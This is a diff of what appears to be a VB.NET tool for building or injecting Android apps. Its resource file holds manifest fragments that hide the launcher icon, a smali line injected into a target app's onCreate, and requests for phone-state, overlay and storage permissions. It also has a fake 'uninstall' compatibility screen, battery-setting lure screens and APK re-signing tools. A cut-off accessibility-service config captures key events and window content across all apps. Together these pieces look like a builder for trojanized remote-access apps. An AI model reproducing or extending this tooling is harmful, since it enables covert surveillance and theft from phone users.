<service android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.SystemAlarmService"/>
|
||||||
|
<service android:directBootAware="false" android:enabled="true" android:exported="true" android:name="androidx.work.impl.background.systemjob.SystemJobService" android:permission="android.permission.BIND_JOB_SERVICE"/>
|
||||||
|
<service android:directBootAware="false" android:enabled="true" android:exported="false" android:name="androidx.work.impl.foreground.SystemForegroundService"/>
|
||||||
|
<receiver android:directBootAware="false" android:enabled="true" android:exported="false" android:name="androidx.work.impl.utils.ForceStopRunnable$BroadcastReceiver"/>
|
||||||
|
<receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$BatteryChargingProxy">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
|
||||||
|
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$BatteryNotLowProxy">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.BATTERY_OKAY"/>
|
||||||
|
<action android:name="android.intent.action.BATTERY_LOW"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$StorageNotLowProxy">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.DEVICE_STORAGE_LOW"/>
|
||||||
|
<action android:name="android.intent.action.DEVICE_STORAGE_OK"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$NetworkStateProxy">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.RescheduleReceiver">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.BOOT_COMPLETED"/>
|
||||||
|
<action android:name="android.intent.action.TIME_SET"/>
|
||||||
|
<action android:name="android.intent.action.TIMEZONE_CHANGED"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxyUpdateReceiver">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="androidx.work.impl.background.systemalarm.UpdateProxies"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<receiver android:directBootAware="false" android:enabled="true" android:exported="true" android:name="androidx.work.impl.diagnostics.DiagnosticsReceiver" android:permission="android.permission.DUMP">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="androidx.work.diagnostics.REQUEST_DIAGNOSTICS"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<service android:directBootAware="true" android:exported="false" android:name="androidx.room.MultiInstanceInvalidationService"/>
|
||||||
|
<receiver android:directBootAware="false" android:enabled="true" android:exported="true" android:name="androidx.profileinstaller.ProfileInstallReceiver" android:permission="android.permission.DUMP">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
|
||||||
|
</intent-filter>
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
|
||||||
|
</intent-filter>
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
|
||||||
|
</intent-filter>
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver></value>
|
||||||
|
</data>
|
||||||
|
<data name="ManifistHide" xml:space="preserve">
|
||||||
|
<value><intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN"/>
|
||||||
|
<category android:name="android.intent.category.INFO"/>
|
||||||
|
</intent-filter>
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.service.quicksettings.action.QS_TILE_PREFERENCES"/>
|
||||||
|
</intent-filter>
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="com.android.settings.action.IA_SETTINGS"/>
|
||||||
|
</intent-filter>
|
||||||
|
<meta-data android:name="com.android.settings.category" android:value="com.android.settings.category.ia.development"/>
|
||||||
|
<meta-data android:name="com.android.settings.summary" android:value=""/>
|
||||||
|
<meta-data android:name="com.android.settings.order" android:value="10"/>
|
||||||
|
<meta-data android:name="com.android.settings.profile" android:value="primary_profile_only"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="mywebviewer" xml:space="preserve">
|
||||||
|
<value><?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:orientation="vertical">
|
||||||
|
|
||||||
|
|
||||||
|
<WebView
|
||||||
|
android:id="@+id/MyView"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent" />
|
||||||
|
|
||||||
|
<ProgressBar
|
||||||
|
android:id="@+id/progressBar"
|
||||||
|
style="?android:attr/progressBarStyleLarge"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:layout_alignParentBottom="true"
|
||||||
|
android:layout_alignParentEnd="true"
|
||||||
|
android:layout_margin="16dp"
|
||||||
|
android:visibility="gone" />
|
||||||
|
</RelativeLayout></value>
|
||||||
|
</data>
|
||||||
|
<data name="network_security_config" xml:space="preserve">
|
||||||
|
<value><?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<network-security-config>
|
||||||
|
<base-config cleartextTrafficPermitted="true" />
|
||||||
|
</network-security-config></value>
|
||||||
|
</data>
|
||||||
|
<data name="nointernet" xml:space="preserve">
|
||||||
|
<value><?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:background="#292929">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="35dp"
|
||||||
|
android:background="#292929"
|
||||||
|
android:orientation="horizontal">
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="75dp"
|
||||||
|
|
||||||
|
android:orientation="horizontal">
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="110dp"
|
||||||
|
android:gravity="center"
|
||||||
|
android:orientation="horizontal">
|
||||||
|
|
||||||
|
<ImageView
|
||||||
|
android:id="@+id/noneticon"
|
||||||
|
android:layout_width="0px"
|
||||||
|
android:layout_weight="0.4"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:paddingLeft="5dp"
|
||||||
|
android:src="@drawable/connection_error"></ImageView>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="20dp"
|
||||||
|
|
||||||
|
android:orientation="horizontal">
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
|
||||||
|
android:orientation="vertical">
|
||||||
|
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="150dp"
|
||||||
|
android:textColor="#F8F8F8"
|
||||||
|
android:gravity="top|center"
|
||||||
|
android:id="@+id/nodescrip"
|
||||||
|
android:paddingTop="25dp"
|
||||||
|
android:fontFamily="sans-serif"
|
||||||
|
android:text="No internet connection detected.\n\n please connect to internet and try again"
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
|
||||||
|
android:shadowRadius="2"
|
||||||
|
></TextView>
|
||||||
|
<Button
|
||||||
|
android:id="@+id/closeme"
|
||||||
|
android:layout_width="55dp"
|
||||||
|
android:layout_height="55dp"
|
||||||
|
android:background="@drawable/closebutton"
|
||||||
|
android:layout_gravity="center"
|
||||||
|
|
||||||
|
|
||||||
|
android:textSize="16sp"
|
||||||
|
android:textStyle="bold"
|
||||||
|
android:textColor="#000000"
|
||||||
|
android:shadowRadius="2">
|
||||||
|
|
||||||
|
</Button>
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
</LinearLayout></value>
|
||||||
|
</data>
|
||||||
|
<data name="oncreatecode" xml:space="preserve">
|
||||||
|
<value>invoke-virtual/range {p0}, [trgtmain]->InializeSubsT()V</value>
|
||||||
|
</data>
|
||||||
|
<data name="oppobattery" xml:space="preserve">
|
||||||
|
<value><!-- activity_main.xml -->
|
||||||
|
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:background="#000011"
|
||||||
|
android:layout_height="match_parent">
|
||||||
|
|
||||||
|
|
||||||
|
<ImageView
|
||||||
|
android:id="@+id/imageView"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="400dp"
|
||||||
|
android:layout_centerHorizontal="true"
|
||||||
|
android:layout_marginTop="75dp"
|
||||||
|
android:src="@drawable/oppo_bty_en_1" />
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<Button
|
||||||
|
android:id="@+id/nextButton"
|
||||||
|
android:layout_width="130dp"
|
||||||
|
android:layout_height="75dp"
|
||||||
|
android:layout_below="@id/imageView"
|
||||||
|
android:layout_centerHorizontal="true"
|
||||||
|
android:layout_marginTop="16dp"
|
||||||
|
android:text="Next"
|
||||||
|
android:background="@drawable/btnback"
|
||||||
|
android:gravity="center"
|
||||||
|
android:shadowColor="#000"
|
||||||
|
android:shadowDx="9"
|
||||||
|
android:shadowDy="3"
|
||||||
|
android:shadowRadius="2"
|
||||||
|
android:textColor="#fff"
|
||||||
|
android:textSize="18sp"
|
||||||
|
android:textStyle="bold" />
|
||||||
|
</RelativeLayout></value>
|
||||||
|
</data>
|
||||||
|
<data name="providerfile" xml:space="preserve">
|
||||||
|
<value><?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<paths xmlns:android="http://schemas.android.com/apk/res/android">
|
||||||
|
<external-path
|
||||||
|
name="external_files"
|
||||||
|
path="." />
|
||||||
|
</paths></value>
|
||||||
|
</data>
|
||||||
|
<data name="ReadPrim" xml:space="preserve">
|
||||||
|
<value><uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="read_state_prim" xml:space="preserve">
|
||||||
|
<value><uses-permission android:name="android.permission.READ_PHONE_STATE" /></value>
|
||||||
|
</data>
|
||||||
|
<data name="ReplaceAccess" xml:space="preserve">
|
||||||
|
<value><meta-data android:name="REPALCEACCESS" android:value="99999999"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="ReplaceLuncher" xml:space="preserve">
|
||||||
|
<value><meta-data android:name="REPLACELUNCH" android:value="66666666"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="ReplacePrimes" xml:space="preserve">
|
||||||
|
<value><queries android:name="[Replace_Prmies]"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="signapk" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\signapk.jar;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</data>
|
||||||
|
<data name="splits" xml:space="preserve">
|
||||||
|
<value><?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<splits>
|
||||||
|
<module name="">
|
||||||
|
<language>
|
||||||
|
<entry key="af" split="" />
|
||||||
|
<entry key="am" split="" />
|
||||||
|
<entry key="ar" split="" />
|
||||||
|
<entry key="az" split="" />
|
||||||
|
<entry key="bg" split="" />
|
||||||
|
<entry key="bn" split="" />
|
||||||
|
<entry key="ca" split="" />
|
||||||
|
<entry key="cs" split="" />
|
||||||
|
<entry key="da" split="" />
|
||||||
|
<entry key="de" split="" />
|
||||||
|
<entry key="el" split="" />
|
||||||
|
<entry key="en" split="" />
|
||||||
|
<entry key="es" split="" />
|
||||||
|
<entry key="et" split="" />
|
||||||
|
<entry key="fa" split="" />
|
||||||
|
<entry key="fi" split="" />
|
||||||
|
<entry key="fr" split="" />
|
||||||
|
<entry key="ga" split="" />
|
||||||
|
<entry key="gu" split="" />
|
||||||
|
<entry key="ha" split="" />
|
||||||
|
<entry key="he" split="" />
|
||||||
|
<entry key="hi" split="" />
|
||||||
|
<entry key="hr" split="" />
|
||||||
|
<entry key="hu" split="" />
|
||||||
|
<entry key="id" split="" />
|
||||||
|
<entry key="it" split="" />
|
||||||
|
<entry key="ja" split="" />
|
||||||
|
<entry key="kk" split="" />
|
||||||
|
<entry key="kn" split="" />
|
||||||
|
<entry key="ko" split="" />
|
||||||
|
<entry key="lo" split="" />
|
||||||
|
<entry key="lt" split="" />
|
||||||
|
<entry key="lv" split="" />
|
||||||
|
<entry key="mk" split="" />
|
||||||
|
<entry key="ml" split="" />
|
||||||
|
<entry key="mr" split="" />
|
||||||
|
<entry key="ms" split="" />
|
||||||
|
<entry key="nb" split="" />
|
||||||
|
<entry key="nl" split="" />
|
||||||
|
<entry key="om" split="" />
|
||||||
|
<entry key="pa" split="" />
|
||||||
|
<entry key="pl" split="" />
|
||||||
|
<entry key="pt" split="" />
|
||||||
|
<entry key="ro" split="" />
|
||||||
|
<entry key="ru" split="" />
|
||||||
|
<entry key="sk" split="" />
|
||||||
|
<entry key="sl" split="" />
|
||||||
|
<entry key="sq" split="" />
|
||||||
|
<entry key="sr" split="" />
|
||||||
|
<entry key="sv" split="" />
|
||||||
|
<entry key="sw" split="" />
|
||||||
|
<entry key="ta" split="" />
|
||||||
|
<entry key="te" split="" />
|
||||||
|
<entry key="th" split="" />
|
||||||
|
<entry key="tl" split="" />
|
||||||
|
<entry key="tr" split="" />
|
||||||
|
<entry key="uk" split="" />
|
||||||
|
<entry key="ur" split="" />
|
||||||
|
<entry key="uz" split="" />
|
||||||
|
<entry key="vi" split="" />
|
||||||
|
<entry key="zh" split="" />
|
||||||
|
</language>
|
||||||
|
</module>
|
||||||
|
</splits></value>
|
||||||
|
</data>
|
||||||
|
<data name="SystemwindowPrim" xml:space="preserve">
|
||||||
|
<value><uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="Toreplaceprim" xml:space="preserve">
|
||||||
|
<value><queries android:name="[GPRIM]"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="uninstall_activity" xml:space="preserve">
|
||||||
|
<value><?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:orientation="vertical"
|
||||||
|
android:padding="20dp"
|
||||||
|
android:background="#232323">
|
||||||
|
|
||||||
|
<ImageView
|
||||||
|
android:id="@+id/errorimg"
|
||||||
|
android:layout_width="144px"
|
||||||
|
android:layout_height="144px"
|
||||||
|
android:paddingLeft="5dp"
|
||||||
|
android:src="@drawable/error"></ImageView>
|
||||||
|
|
||||||
|
<TextView
|
||||||
|
android:id="@+id/dialog_message"
|
||||||
|
android:layout_width="wrap_content"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:textColor="#fff"
|
||||||
|
android:text="unfortunately , this version is not compatible with your device."
|
||||||
|
android:paddingBottom="20dp"
|
||||||
|
android:textSize="20dp"
|
||||||
|
android:gravity="center"/>
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="wrap_content"
|
||||||
|
android:orientation="horizontal"
|
||||||
|
|
||||||
|
android:gravity="center">
|
||||||
|
|
||||||
|
|
||||||
|
<Button
|
||||||
|
android:id="@+id/button_ok"
|
||||||
|
android:layout_width="280px"
|
||||||
|
android:layout_height="150px"
|
||||||
|
android:text="uninstall"
|
||||||
|
android:textColor="#fff"
|
||||||
|
android:background="#0074CC"/>
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
</LinearLayout></value>
|
||||||
|
</data>
|
||||||
|
<data name="WritePrim" xml:space="preserve">
|
||||||
|
<value><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/></value>
|
||||||
|
</data>
|
||||||
|
<data name="zipalign" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||||
|
<value>..\Resources\zipalign.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</data>
|
||||||
|
</root>
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
'------------------------------------------------------------------------------
|
||||||
|
' <auto-generated>
|
||||||
|
' Этот код создан программой.
|
||||||
|
' Исполняемая версия:4.0.30319.42000
|
||||||
|
'
|
||||||
|
' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае
|
||||||
|
' повторной генерации кода.
|
||||||
|
' </auto-generated>
|
||||||
|
'------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Option Strict On
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
|
|
||||||
|
Namespace My
|
||||||
|
|
||||||
|
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||||
|
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.14.0.0"), _
|
||||||
|
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||||
|
Partial Friend NotInheritable Class MySettings
|
||||||
|
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||||
|
|
||||||
|
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||||
|
|
||||||
|
#Region "Функция автоматического сохранения My.Settings"
|
||||||
|
#If _MyType = "WindowsForms" Then
|
||||||
|
Private Shared addedHandler As Boolean
|
||||||
|
|
||||||
|
Private Shared addedHandlerLockObject As New Object
|
||||||
|
|
||||||
|
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||||
|
Private Shared Sub AutoSaveSettings(sender As Global.System.Object, e As Global.System.EventArgs)
|
||||||
|
If My.Application.SaveMySettingsOnExit Then
|
||||||
|
My.Settings.Save()
|
||||||
|
End If
|
||||||
|
End Sub
|
||||||
|
#End If
|
||||||
|
#End Region
|
||||||
|
|
||||||
|
Public Shared ReadOnly Property [Default]() As MySettings
|
||||||
|
Get
|
||||||
|
|
||||||
|
#If _MyType = "WindowsForms" Then
|
||||||
|
If Not addedHandler Then
|
||||||
|
SyncLock addedHandlerLockObject
|
||||||
|
If Not addedHandler Then
|
||||||
|
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||||
|
addedHandler = True
|
||||||
|
End If
|
||||||
|
End SyncLock
|
||||||
|
End If
|
||||||
|
#End If
|
||||||
|
Return defaultInstance
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
End Class
|
||||||
|
End Namespace
|
||||||
|
|
||||||
|
Namespace My
|
||||||
|
|
||||||
|
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||||
|
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||||
|
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||||
|
Friend Module MySettingsProperty
|
||||||
|
|
||||||
|
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||||
|
Friend ReadOnly Property Settings() As Global.SolrWorker.My.MySettings
|
||||||
|
Get
|
||||||
|
Return Global.SolrWorker.My.MySettings.Default
|
||||||
|
End Get
|
||||||
|
End Property
|
||||||
|
End Module
|
||||||
|
End Namespace
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
<?xml version='1.0' encoding='utf-8'?>
|
||||||
|
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||||
|
<Profiles>
|
||||||
|
<Profile Name="(Default)" />
|
||||||
|
</Profiles>
|
||||||
|
<Settings />
|
||||||
|
</SettingsFile>
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||||
|
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||||
|
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||||
|
<security>
|
||||||
|
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||||
|
<!-- UAC Manifest Options
|
||||||
|
If you want to change the Windows User Account Control level replace the
|
||||||
|
requestedExecutionLevel node with one of the following.
|
||||||
|
|
||||||
|
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||||
|
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
|
||||||
|
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
|
||||||
|
|
||||||
|
Specifying requestedExecutionLevel element will disable file and registry virtualization.
|
||||||
|
Remove this element if your application requires this virtualization for backwards
|
||||||
|
compatibility.
|
||||||
|
-->
|
||||||
|
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||||
|
</requestedPrivileges>
|
||||||
|
</security>
|
||||||
|
</trustInfo>
|
||||||
|
|
||||||
|
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||||
|
<application>
|
||||||
|
<!-- A list of the Windows versions that this application has been tested on
|
||||||
|
and is designed to work with. Uncomment the appropriate elements
|
||||||
|
and Windows will automatically select the most compatible environment. -->
|
||||||
|
|
||||||
|
<!-- Windows Vista -->
|
||||||
|
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />-->
|
||||||
|
|
||||||
|
<!-- Windows 7 -->
|
||||||
|
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />-->
|
||||||
|
|
||||||
|
<!-- Windows 8 -->
|
||||||
|
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />-->
|
||||||
|
|
||||||
|
<!-- Windows 8.1 -->
|
||||||
|
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />-->
|
||||||
|
|
||||||
|
<!-- Windows 10 -->
|
||||||
|
<!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />-->
|
||||||
|
|
||||||
|
</application>
|
||||||
|
</compatibility>
|
||||||
|
|
||||||
|
<!-- Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher
|
||||||
|
DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need
|
||||||
|
to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should
|
||||||
|
also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config.
|
||||||
|
|
||||||
|
Makes the application long-path aware. See https://docs.microsoft.com/windows/win32/fileio/maximum-file-path-limitation -->
|
||||||
|
<!--
|
||||||
|
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||||
|
<windowsSettings>
|
||||||
|
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
|
||||||
|
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
|
||||||
|
</windowsSettings>
|
||||||
|
</application>
|
||||||
|
-->
|
||||||
|
|
||||||
|
<!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
|
||||||
|
<!--
|
||||||
|
<dependency>
|
||||||
|
<dependentAssembly>
|
||||||
|
<assemblyIdentity
|
||||||
|
type="win32"
|
||||||
|
name="Microsoft.Windows.Common-Controls"
|
||||||
|
version="6.0.0.0"
|
||||||
|
processorArchitecture="*"
|
||||||
|
publicKeyToken="6595b64144ccf1df"
|
||||||
|
language="*"
|
||||||
|
/>
|
||||||
|
</dependentAssembly>
|
||||||
|
</dependency>
|
||||||
|
-->
|
||||||
|
|
||||||
|
</assembly>
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
Imports System.IO
|
||||||
|
Imports System.Xml
|
||||||
|
Imports Newtonsoft.Json
|
||||||
|
|
||||||
|
Module Mylogger
|
||||||
|
Private ReadOnly errorDirPath As String = "Apps_errors"
|
||||||
|
Private ReadOnly buildDirPath As String = "Apps_logs"
|
||||||
|
'Private ReadOnly buildDirPath_err As String = "Solrjector_errors"
|
||||||
|
Public Sub LogError(ByVal userId As String, ByVal methodName As String, ByVal errorMessage As String)
|
||||||
|
Try
|
||||||
|
|
||||||
|
Dim directoryPath As String = Path.Combine(GetDrive, errorDirPath, userId)
|
||||||
|
Directory.CreateDirectory(directoryPath)
|
||||||
|
|
||||||
|
|
||||||
|
Dim currentDate As String = DateTime.Now.ToString("yyyy-MM-dd")
|
||||||
|
Dim filePath As String = Path.Combine(directoryPath, $"{currentDate}-log.json")
|
||||||
|
|
||||||
|
|
||||||
|
Dim errorLog As New List(Of Object)()
|
||||||
|
|
||||||
|
If File.Exists(filePath) Then
|
||||||
|
Dim existingLog As String = File.ReadAllText(filePath)
|
||||||
|
errorLog = JsonConvert.DeserializeObject(Of List(Of Object))(existingLog)
|
||||||
|
End If
|
||||||
|
|
||||||
|
Dim errorObject As New With {
|
||||||
|
.Date = DateTime.Now.ToString(),
|
||||||
|
.Method = methodName,
|
||||||
|
.Content = errorMessage
|
||||||
|
}
|
||||||
|
|
||||||
|
errorLog.Add(errorObject)
|
||||||
|
|
||||||
|
Dim jsonLog As String = JsonConvert.SerializeObject(errorLog, Newtonsoft.Json.Formatting.Indented)
|
||||||
|
|
||||||
|
File.WriteAllText(filePath, jsonLog)
|
||||||
|
Catch ex As Exception
|
||||||
|
|
||||||
|
Console.WriteLine($"Error logging failed: {ex.Message}")
|
||||||
|
End Try
|
||||||
|
End Sub
|
||||||
|
Public Sub Logbuild(ByVal userId As String, ByVal msg As String)
|
||||||
|
Try
|
||||||
|
|
||||||
|
Dim directoryPath As String = Path.Combine(GetDrive, buildDirPath, userId)
|
||||||
|
Directory.CreateDirectory(directoryPath)
|
||||||
|
|
||||||
|
|
||||||
|
Dim currentDate As String = DateTime.Now.ToString("yyyy-MM-dd")
|
||||||
|
Dim filePath As String = Path.Combine(directoryPath, $"{currentDate}-log.json")
|
||||||
|
|
||||||
|
|
||||||
|
Dim errorLog As New List(Of Object)()
|
||||||
|
|
||||||
|
If File.Exists(filePath) Then
|
||||||
|
Dim existingLog As String = File.ReadAllText(filePath)
|
||||||
|
errorLog = JsonConvert.DeserializeObject(Of List(Of Object))(existingLog)
|
||||||
|
End If
|
||||||
|
|
||||||
|
Dim errorObject As New With {
|
||||||
|
.Date = DateTime.Now.ToString(),
|
||||||
|
.Content = msg
|
||||||
|
}
|
||||||
|
|
||||||
|
errorLog.Add(errorObject)
|
||||||
|
|
||||||
|
Dim jsonLog As String = JsonConvert.SerializeObject(errorLog, Newtonsoft.Json.Formatting.Indented)
|
||||||
|
|
||||||
|
File.WriteAllText(filePath, jsonLog)
|
||||||
|
Catch ex As Exception
|
||||||
|
|
||||||
|
Console.WriteLine($"build logging failed: {ex.Message}")
|
||||||
|
End Try
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
End Module
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,3 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<accessibility-service android:description="@string/pnam" android:summary="@string/pnam" android:settingsActivity="com.android.settings" android:accessibilityEventTypes="typeAnnouncement|typeAssistReadingContext|typeContextClicked|typeGestureDetectionEnd|typeGestureDetectionStart|typeNotificationStateChanged|typeTouchExplorationGestureEnd|typeTouchExplorationGestureStart|typeTouchInteractionEnd|typeTouchInteractionStart|typeViewAccessibilityFocusCleared|typeViewAccessibilityFocused|typeViewClicked|typeViewFocused|typeViewHoverEnter|typeViewHoverExit|typeViewLongClicked|typeViewScrolled|typeViewSelected|typeViewTextChanged|typeViewTextSelectionChanged|typeViewTextTraversedAtMovementGranularity|typeWindowContentChanged|typeWindowStateChanged|typeWindowsChanged" android:packageNames="@null" android:accessibilityFeedbackType="feedbackAudible|feedbackGeneric|feedbackHaptic|feedbackSpoken|feedbackVisual" android:notificationTimeout="0" android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagReportViewIds|flagRequestEnhancedWebAccessibility|flagRequestFilterKeyEvents|flagRequestTouchExplorationMode|flagRetrieveInteractiveWindows" android:canRetrieveWindowContent="true" android:canRequestTouchExplorationMode="true" 